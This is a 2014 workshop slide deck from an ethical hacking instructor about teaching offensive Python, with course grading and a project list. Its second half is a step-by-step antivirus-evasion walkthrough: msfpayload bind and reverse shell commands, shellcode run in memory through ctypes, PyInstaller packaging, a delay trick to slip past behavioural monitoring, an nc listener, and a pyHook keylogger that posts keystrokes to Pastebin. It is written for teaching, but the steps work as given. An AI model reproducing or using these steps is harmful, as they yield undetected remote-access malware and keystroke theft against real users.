Violent Python

Innovations in Cybersecurity Education Workshop

June 24, 2014
Bio

Sam Bowne
@sambowne
I teach Ethical Hacking at City College San Francisco. My statements are my own, not official positions of CCSF.
San Francisco • samsclass.info
Pedagogy
Diversity in Education

• Students have different previous experience, knowledge and goals
• They aren't all going to learn the same things in the same class
• My goal is NOT to make them all achieve the same proficiency
• My goal is to provide every student with material they can grasp and interesting challenges
Beginners

- Textbook that covers the material
- Online training at CodeCademy
- DVDs with virtual machines ready to go
- Hands-on projects with complete step-by-step instructions
- Lab time after each class with the instructor available to help
- Extensive open lab time
Average Students

• Configure their own home machines to do the projects
• Work at home, with no instructor available
• Simple challenge projects without instructions
Advanced Students

• Advanced challenges
• Online security puzzle sites
• Cyber competitions
• Following the news, independent work on cutting-edge topics
Independent Projects

• Students can get extra credit by
  – Attending other training events
  – In-class presentations
  – Researching other tools or techniques
### Grading

- Must achieve a level of points to get a good grade
- Many possible combinations of projects can get there
- May skip the final exam

<table>
<thead>
<tr>
<th>Final Exam</th>
<th>Total</th>
<th>Final Grade</th>
</tr>
</thead>
<tbody>
<tr>
<td>100</td>
<td>200</td>
<td></td>
</tr>
<tr>
<td>0</td>
<td>150</td>
<td>C</td>
</tr>
<tr>
<td>0</td>
<td>193</td>
<td>A</td>
</tr>
<tr>
<td>0</td>
<td>190</td>
<td>A</td>
</tr>
<tr>
<td>0</td>
<td>125</td>
<td>C</td>
</tr>
<tr>
<td>0</td>
<td>140</td>
<td>C</td>
</tr>
<tr>
<td>0</td>
<td>189</td>
<td>A</td>
</tr>
<tr>
<td>0</td>
<td>180</td>
<td>A</td>
</tr>
<tr>
<td>0</td>
<td>70</td>
<td>F</td>
</tr>
<tr>
<td>0</td>
<td>50</td>
<td>F</td>
</tr>
<tr>
<td>0</td>
<td>195</td>
<td>A</td>
</tr>
<tr>
<td>0</td>
<td>0</td>
<td>F</td>
</tr>
<tr>
<td>0</td>
<td>188</td>
<td>A</td>
</tr>
<tr>
<td>56</td>
<td>151</td>
<td>C</td>
</tr>
<tr>
<td>0</td>
<td>0</td>
<td>F</td>
</tr>
<tr>
<td>0</td>
<td>200</td>
<td>A</td>
</tr>
<tr>
<td>0</td>
<td>1031</td>
<td>A</td>
</tr>
<tr>
<td>0</td>
<td>199</td>
<td>A</td>
</tr>
<tr>
<td>0</td>
<td>256</td>
<td>A</td>
</tr>
<tr>
<td>0</td>
<td>195</td>
<td>A</td>
</tr>
<tr>
<td>0</td>
<td>184</td>
<td>A</td>
</tr>
<tr>
<td>0</td>
<td>195</td>
<td>A</td>
</tr>
<tr>
<td>0</td>
<td>0</td>
<td>F</td>
</tr>
<tr>
<td>56</td>
<td>156</td>
<td>C</td>
</tr>
<tr>
<td>0</td>
<td>231</td>
<td>A</td>
</tr>
<tr>
<td>0</td>
<td>25</td>
<td>F</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Total Adj Pts</th>
<th>Total %</th>
<th>Final Grade</th>
</tr>
</thead>
<tbody>
<tr>
<td>450.0</td>
<td>100.0%</td>
<td></td>
</tr>
<tr>
<td>147.0</td>
<td>32.7%</td>
<td>F</td>
</tr>
<tr>
<td>338.0</td>
<td>75.1%</td>
<td>C</td>
</tr>
<tr>
<td>273.0</td>
<td>60.7%</td>
<td>C</td>
</tr>
<tr>
<td>560.0</td>
<td>124.4%</td>
<td>A</td>
</tr>
<tr>
<td>273.0</td>
<td>60.7%</td>
<td>C</td>
</tr>
<tr>
<td>270.0</td>
<td>60.0%</td>
<td>C</td>
</tr>
<tr>
<td>417.0</td>
<td>92.7%</td>
<td>A</td>
</tr>
<tr>
<td>545.4</td>
<td>121.2%</td>
<td>A</td>
</tr>
<tr>
<td>289.0</td>
<td>64.2%</td>
<td>C</td>
</tr>
<tr>
<td>518.0</td>
<td>115.1%</td>
<td>A</td>
</tr>
<tr>
<td>458.0</td>
<td>101.8%</td>
<td>A</td>
</tr>
<tr>
<td>340.0</td>
<td>75.6%</td>
<td>C</td>
</tr>
<tr>
<td>95.0</td>
<td>21.1%</td>
<td>F</td>
</tr>
<tr>
<td>80.0</td>
<td>17.8%</td>
<td>F</td>
</tr>
<tr>
<td>279.0</td>
<td>62.0%</td>
<td>C</td>
</tr>
<tr>
<td>83.3</td>
<td>18.5%</td>
<td>F</td>
</tr>
<tr>
<td>467.0</td>
<td>103.8%</td>
<td>A</td>
</tr>
<tr>
<td>460.0</td>
<td>102.2%</td>
<td>A</td>
</tr>
<tr>
<td>533.0</td>
<td>118.4%</td>
<td>A</td>
</tr>
<tr>
<td>510.9</td>
<td>113.5%</td>
<td>A</td>
</tr>
<tr>
<td>427.7</td>
<td>95.0%</td>
<td>A</td>
</tr>
</tbody>
</table>
CNIT 124
Advanced Ethical Hacking
Two Textbooks

Required

Optional
Violent Python

• Good coding principles
  – Exception handling
  – Modular design
  – Optimization
  – Commenting
  – Flow charts

• FORGET THEM ALL
Violent Python

• We are hackers
• We are here to BREAK STUFF
• It should be fast and easy for a complete novice to hack together a simple script to do something fun!
Proj 3: Basic Port Scanning with Python (15 pts. + 15 extra credit)

What You Need

A Kali Linux machine, real or virtual. You could use Windows with Python installed, but it's easier to just use Linux.

```python
import socket
s = socket.socket()

s.connect(("attack.samsclass.info", 22))
print s.recv(1024)
s.close()
```

```
root@kali:~/124# python grab.py
SSH-2.0-OpenSSH_5.1p1 Debian-5
root@kali:~/124#
```
Challenge 1: Find a Service (5 pts. extra credit)

There is another service listening on attack.samsclass.info on a port number ending in 000; that is, one of these: 1000, 2000, 3000, etc.

```
root@kali:~/124# python grab2.py
Target URL: attack.samsclass.info
Target Port: [REDACTED]
Congratulations! You found the hidden
```

```
root@kali:~/124# [REDACTED]
```
Challenge 2: Port Knocking (10 pts. extra credit)

There is a hidden service on port 3003. To open it, you must send these packets to "knock":

1. A SYN to port 3100
2. Another SYN to a secret hidden port, which is one of these: (3100, 3200, 3300, 3400, 3500, 3600, 3700, 3800, 3900)
3. A 2-second delay (see this link)

When the server receives the correct knock, port 3003 will open for 3 seconds and then close. You must grab the banner during that brief period.
Projects

Project 1: HTTP Headers (15 pts.)
Project 2: CodeCademy I (15 pts.)
Project 3: Basic Port Scanning with Python (15 pts. + 15 extra credit)
Project 4: CodeCademy II (20 pts.)
Project 5: HTTP Scanning with Python (15 pts. + 35 extra credit)
Project 6: CodeCademy III (20 pts.)
Project 7: Password Hashes with Python (15 pts. + 40 extra credit)
Project 8: Antivirus Evasion with Python (20 pts.)
Project 9: Keylogger with Python (15 pts. + 25 pts. extra credit)
Project 10: Defeating Norton Antivirus with Python (20 pts. + 30 extra)
Project 11: Attacking Clients with a Malicious Heartbleed SSL Server (10 pts.)
Project 12: Automating Keypresses in Windows (10 Points + 15 pts. extra)
Project 13: XOR Encryption in Python (10 pts. + 40 extra credit)
Extra Credit Projects

Project 1x: Independent Project (pts. vary) -- Do something cool and show it to the class!
Project 2x: Port Scanning with IPv6 and Python (10-45 pts. extra credit)
Project 3x: Wechall.net (points vary)
Project 4x: Automating Keypresses in Mac OS X (25 pts. extra)
Proj 5x: Packet Amplification with SNMP (20 pts. extra credit)
Proj 6x: Packet Amplification with NTP (20 pts. extra credit)
Antivirus

Ungh! Good God y'all...

What is it GOOD For?
Antivirus pioneer Symantec declares AV “dead” and “doomed to failure”
Company concedes AV fails to catch majority of malicious attacks in circulation.

by Dan Goodin - May 5 2014, 9:25am PDT

Norton promises 100 percent virus removal for small businesses
By Ian Barker | Published 2 days ago | Follow @IanDBarker
Mikko Hypponen Video
Metasploit Payloads
Metasploit

- Hundreds of payloads
- The simplest one: bind_tcp
- Listens on a TCP port for commands
Simple Reverse Shell

• One command to produce very simple Windows EXE malware

```
root@kali:/~# msfpayload windows/shell_bind_tcp X > shell.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell_bind_tcp
  Length: 341
  Options: {}
root@kali:/~# ls -l shell.exe
-rw-r--r-- 1 root root 73802 Mar 9 22:48 shell.exe
root@kali:/~ #
```
Antivirus Catches It

Infection detected!

avast! Filesystem shield has detected a threat and moved it into the Chest.

Infection: Win32:SwPatch [Wrm]
File: /Users/sambowne/Desktop/shell.exe
Process: /Applications/VMware Fusion.app/Contents/Library/vmware-vmx
UID: 501
Norton v. Shell.exe
Norton Identifies the Metasploit Packer

Packed.Generic.347

Risk Level 1: Very Low

Summary

Discovered: January 9, 2012
Updated: January 9, 2012 5:17:29 PM
Type: Trojan, Virus

Packed.Generic.347 is a heuristic detection for files that may have been packed using Metasploit penetration-testing software. This heuristic detection is used to detect several different payloads.
VirusTotal: 37/49 Detections
How to Become 007
Python v. AV

Round 1
shell_bind_tcp
Export Metasploit Payloads to C

```
root@kali:~/124# msfpayload windows/shell_bind_tcp C
*/
* windows/shell_bind_tcp - 341 bytes
* http://www.metasploit.com
* VERBOSE=false, LPORT=4444, RHOST=, PrependMigrate=false,
* EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=
*/
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
```
Use Ctypes Python Library

```python
from ctypes import *
shellcode = ("\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56" "\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xbb\xa2\x56" "\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75" "\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5")
```
Compile it on Windows

• Install these things, in order
  – Python 2.7
  – PyWin32
  – pip-Win
  – PyInstaller

• This creates an EXE file that listens on a TCP port
DEMO

• On Kali
  
  msfpayload windows/shell_bind_tcp C > foo
  
nano foo

• Change top to
  
  from ctypes import *
  
  shellcode = (

• Change bottom to
  
  );
  
  memorywithshell = create_string_buffer(shellcode, len(shellcode))
  
  shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
  
  shell()
DEMO

- On Windows, in pip-Win:
  ```
  venv -c -i pyi-env-name
  pyinstaller --onefile --noconsole foo
  ```
VirusTotal: 1/50 Detection

Analysis:
- SHA256: 0003beb3df274fae5fb3e63e2c6404631cf642a83d3c1ba359e6262989de6b62
- File name: shell.exe
- Detection ratio: 1 / 50
- Analysis date: 2014-03-10 18:22:33 UTC (0 minutes ago)

Antivirus:
- Qihoo-360: HEUR/Malware.QVM10.Gen
- AVG
- Ad-Aware
Norton Support

• I Tweeted about this, and @NortonSupport replied
• VirusTotal is not a fair test, because real installed Norton uses Heuristic Scanning
• @NortonSupport gave me a link for a 30-day trial version :)

Norton Wins!

File Insight

A program was behaving suspiciously on your computer.
This program was removed.

- **Thread name:** SONAR.Heuristic.120
- **Details:** Very Few Users, Very New, Risk High
- **Origin:** Downloaded from Unknown
- **Activity:** Actions performed: 6

Files removed:
- `c:\users\sam\desktop\foo.exe`
- `c:\users\sam\appdata\local\temp\_mei32922\microsoft.vc90.crt.manifest`
- Directory: `c:\users\sam\appdata\local\temp\_mei32922`
Kaspersky Wins!

- Avast! doesn't detect it
- Kaspersky detects it as HEUR:Trojan.Win32.Generic
Python v. AV

Round 2

shell_bind_tcp

with a delay
@sambowne @NortonSupport You know it would take like, 2 minutes of python work to evade that, right?

@info_dox @NortonSupport I don't know; please tell me how!

@sambowne @NortonSupport k, so you are being pinged by the behavioral analysis nonsense, right? Those things dont monitor forever ;)

3:40pm · 20 Mar 14 · web
@sambowne @NortonSupport they normally only watch a process for a minute or two to see if they do anything nasty. they also hook sleep() tho

3:41pm · 20 Mar 14 · web

@sambowne @NortonSupport there's the clue: do nothing malicious until it stops monitoring, then do errrything malicious. Including deleting AV

3:41pm · 20 Mar 14 · web
DEMO

• On Kali
  
  cp foo foo2
  nano foo2
  x=raw_input("Press Enter to continue")

• On Windows, in pip-Win:
  
  venv -c -i pyi-env-name
  pyinstaller --onefile foo2
Norton, Avast, & MSE Lose!
Kaspersky Wins!
Python v. AV

Round 3

shell_bind_tcp

in two stages

no delay
Other AV

• Tested on Mar 24, 2014 with a two-stage reverse shell and no time delay

• All these failed
  – Norton
  – Nod32
  – Avast!
  – 360 Internet Security
  – McAfee
  – Kaspersky
Remember Mikko?
F-Secure Wins!

Application blocked

DeepGuard has blocked an application because it is not commonly used:

- Application: shell-139.exe
- Reason: Rare application
- Show more

What should be done?
- I do not trust the application. Block it permanently.
- I trust the application. Let it continue.

OK
AV Challenge
Antivirus Challenge: Detect This Malware

Malicious EXE File

This binary file, when executed on a Windows target, causes it to connect back to a Metasploit listener at the IP address 192.168.1.89

rsh-192-168-1-89.exe

It's a 3 MB file. Normally I zip malware with a password but since no anti-malware product can detect this one there is at present no reason to bother.

• Posted April 3, 2014
• No reply from AV vendors, but Norton improved its detection after that
  – Now a delay is required
Python v. AV

Round 4

shell_bind_tcp

with a delay
INSTRUCTIONS

• On Kali

   msfpayload windows/shell_reverse_tcp
   LHOST=192.168.119.252 C > rev
   nano rev

• Change top to

   x=raw_input("Press Enter to continue")
   from ctypes import *
   shellcode = (   )

• Change bottom to

   memorywithshell = create_string_buffer(shellcode, len(shellcode))
   shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
   shell()
INSTRUCTIONS

• On Windows, in pip-Win:
  
  ```bash
  venv -c -i pyi-env-name
  pyinstaller --onefile rev
  ```

• On Kali
  
  ```bash
  nc -lp 4444
  ```
Norton Loses
Kaspersky Wins
Advanced Malware Protection
Lastline Analysis Report

Analysis Report
April 27, 2014

1 Threat Level

The file 44419684a867bf43be47176b3d233d1e was found to be malicious (score 75 / 100) at 2014-04-27 23:36:09

Malicious Activity Summary

<table>
<thead>
<tr>
<th>Title</th>
<th>Content</th>
</tr>
</thead>
<tbody>
<tr>
<td>Signature</td>
<td>Metasploit executable identified</td>
</tr>
<tr>
<td>Signature</td>
<td>Metasploit TCP shell/reverse shell identified</td>
</tr>
</tbody>
</table>

@ChrisAbdalla_1 from HP ESP TippingPoint
• A friend in the financial industry tested Evil.exe on a system protected by FireEye
• FireEye gives no alerts and lets it post keystrokes right to Pastebin
Python Keylogger
Google
"Python Keylogger"

- I used this one from 4 years ago

```python
# Key Logger
# By: K.B. Carte
# Version 1.0
#
import pythoncom, pyHook, sys, logging

LOG_FILENAME = 'path\to\log.out'

def OnKeyboardEvent(event):
    logging.basicConfig(filename=LOG_FILENAME,
                        level=logging.DEBUG,
                        format='%(message)s')

    print "Key: ", chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
```
Post Keystrokes to Pastebin

```
POST /api/api_post.php HTTP/1.1
Host: pastebin.com
Content-Length: 89
Content-Type: application/x-www-form-urlencoded

api_option=paste&api_dev_key=2cd3c4d04&api_paste_code=YOURINITIALSH

HTTP/1.1 200 OK
Server: cloudflare-nginx
Date: Mon, 17 Mar 2014 18:32:10 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=d63b4a10e07f8892ab6f6d2e81ab3d4201395081130259; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.pastebin.com; HttpOnly
Vary: Accept-Encoding
X-Powered-By: PHP/5.5.5
CF-RAY: 10cb458817360293-SJC

http://pastebin.com/FBJ49XE
```
Problem

• Pastebin busted me for making too many pastes in a 24-hour period
• So I wrote my own Pastebin imitation
Kaspersky & Avast! LOSE
Norton WINS!
But just add a delay...
F-Secure LOSES!

F-Secure is running! I am safe!

Your computer is protected

- Updating virus and spyware protection...
- Last successful update check 5/24/2014 12:01 PM
PRODUCT ANNOUNCEMENT!
Ultra-Advanced APT Tool

samsclass.info/evil.exe
UNSTOPPABLE

• None of these products stop it
  – Norton
  – McAfee
  – Kaspersky
  – Nod32
  – F-Secure
  – Avast!
  – Microsoft Security Essentials
FireEye FAILS

A friend in the financial industry tested FireEye:

No alerts from FireEye.

So I can say that I know fireeye saw your exe download and execute. And I can say that it did not alert nor take action because it didn't see anything it decided was malicious.
DoD Mission Assurance Category. 1: FAILS

A defense contractor tested a high-security system:

Your compiled keylogger works on MAC-I STIG'd sys w/ full McAfee HBSS ePO HIPS, VSE, etc :)

I don't always run arbitrary executables on MAC-I systems, but when I do, it's for science.

sorry, MAC = DoD Mission Assurance Category. 1 = highest.